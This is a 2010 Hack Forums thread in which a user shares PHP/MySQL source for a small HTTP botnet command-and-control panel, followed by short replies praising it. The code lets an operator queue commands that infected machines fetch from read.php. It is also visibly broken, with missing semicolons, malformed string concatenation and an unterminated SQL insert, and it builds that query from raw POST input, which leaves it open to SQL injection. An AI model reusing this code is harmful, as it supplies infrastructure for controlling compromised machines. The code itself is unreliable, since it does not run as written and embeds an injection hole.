Hack Forums
[.NET] [php+mysql] Example PHP Botnet Command Center - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [.NET] [php+mysql] Example PHP Botnet Command Center (/showthread.php?tid=568655)



[php+mysql] Example PHP Botnet Command Center - Oxycodone - Jul 26, 2010

Alright so im still on vacation so i dont got access to the net that offen so i cant test my MySQL Apps .

This should work if not sorry.

Features:
-Command List (You can add / edit it)(Command | Usage)
-Recent Commands (Command | Date)
-AutoPrunes DB each time a new command is set (so 1 command cant be exacuted mutliple times)


So what you want your vb.net app to do is read the command from the .php file named read.php

How to use hte script, edit the config file to your db info.
Open index.php & exacute the command you want. Once done it will direct you to command.php & it should either say "Command has been exacuted" or somthing & if not it should said failed to exacute command ect..

I suggest using Deathaders get between when reading the commands & exacuting them.

Its basic, sorry for any errors like i said its hard for me to test the script .
Index.php:
Index is the main thing, its the only thing that you will see mostly & were you type your commands ect..

Confi.php:
The config file of your datase

Command.php:
Adds the commands & other important info in the db

read.php
Reads the commands, this is waht you want to use when exacuting the files from a app & check for keywords
CODES
Index.php:
PHP Code

<?php

require('config.php'); 
$db = mysql_connect ( $dbhost, $dbuser, $dbpass)or die("Could not connect: ".mysql_error());
mysql_select_db($dbname) or die(mysql_error());
$query  = "SELECT " . $dbf2 . "," . $dbf3 . " FROM " . $tab;
$result = mysql_query($query);

echo 
'<html>
<body bgcolor="#888888">
<font color="#550000">
<title> MiniNet || InABoxProductions </title> 
<center>
Hello, welcome to MiniNet. This web application is a mini online http botnet for public use. It was created for education purposes only & a tutorial on how to
add data using php, and transfer data from a .exe project / application for a website. <br> All rights reserved || InABoxProductions <br> <br> <br> 
<table border="1">
<tr>
<td>Commands</td>
<td>Usage</td>
</tr>
<tr>
<td>Command1</td>
<td>Command1 Usage</td>
</tr>
<tr>
<td>Command2</td>
<td>Command2 Usage</td> 
</table>
<br> <br>
Command To Exacute: 
<form method="post" action="commands.php">
<input type="text" name="command" value="command"> <br>
<input type="submit" value="submit">
</form>
<br> Recent Commands: <br> 
<table border="1"> 
<tr> 
<td>Command</td>
<td>Date</td>
<td>'
$row[$dbf2];' </td>
<td>'
$row[$dbf3];' </td>
</center>
</font>
</body>
</html>'
;
mysql_close($db);
?>

Config.php:
PHP Code

<?php
$dbhost 
= '';
$dbname = '';
$dbuser = ''; 
$dbpass = '';
//-----------------
$dbf1 = ''; // Command Used
$dbf2 = '';  //  r-command
$dbf3 = ''; // Date r-command
//-----------------
$tab = ''; // Table
//-----------------
$dat = date("m/d/y");
?>

Command.php:
PHP Code

<?php
require('config.php');
$gcmd = $_POST['command'];
$con = mysql_connect($dbhost, $dbuser, $dbpass)
if(!
con) {
die (
'Failed to connect to server / host: ' . mysql_error());
}
$database =  mysql_select_db($dbname)
if(!
database) { 
die (
'Failed to connect to database');
}
$qry = 'INSERT INTO ' . $tab . ' (' . $dbf1 . ',' . $dbf2 . ',' . $dbf3) Values ($gcmd . ',' $gcmd . ',' . $dat);
 
$result=mysql_query($qry);    
if(
$result) {
echo 
'Database Updated!';
}
else
{
echo 
'Database Failed to update!';
}


?>

Read.php:
PHP Code

<?php
include('config.php');
$db = mysql_connect($dbhost,$dbuser,$dbpass); 
mysql_select_db($dbname, $db); 
mysql_query("DELETE FROM " . $tab . " WHERE " . $dbf1);
mysql_close($db);
$con = mysql_connect($dbhost, $dbuser, $dbpass)
if(!
con) {
die (
'Failed to connect to server / host: ' . mysql_error());
}
$database =  mysql_select_db($dbname)
if(!
database) { 
die (
'Failed to connect to database');
}

$query  = "SELECT " . $dbf1 . " FROM " $tab;
$result = mysql_query($query);
echo 
$row[$dbf1];
?>

Feel free to mod it & fix it up.


* - DarkSeven46 - Jul 26, 2010

I see you have posted lots of sick thread lately. +rep.


* - Oxycodone - Jul 26, 2010

Thank you darkseven, if any issues just ask


* - GyroErbin0 - Jul 26, 2010

not bad at all good work !


* - Oxycodone - Jul 27, 2010

Anytime, glad i can help FenimiN


* - Oxycodone - Jul 27, 2010

Just a bump :p
I know alot of people want somthing like this so hopfully i get more replys on it


* - Sector9 - Jul 27, 2010

Thanks for the example :D I'm thinking about starting to learn PHP


* - Oxycodone - Jul 27, 2010

I think im missing a else in the code, and mabey some '

so sorry if there are errors


* - eliskosta - Oct 30, 2016

what is r-command ? What it means?


* - Ninja - Oct 30, 2016

And why was this posted in the .NET section?


* - Zilog80 - Oct 30, 2016

(Oct 30, 2016 08:41 AM)eliskosta Wrote:  what is r-command ? What it means?

My face right now:

Spoiler (Click to View)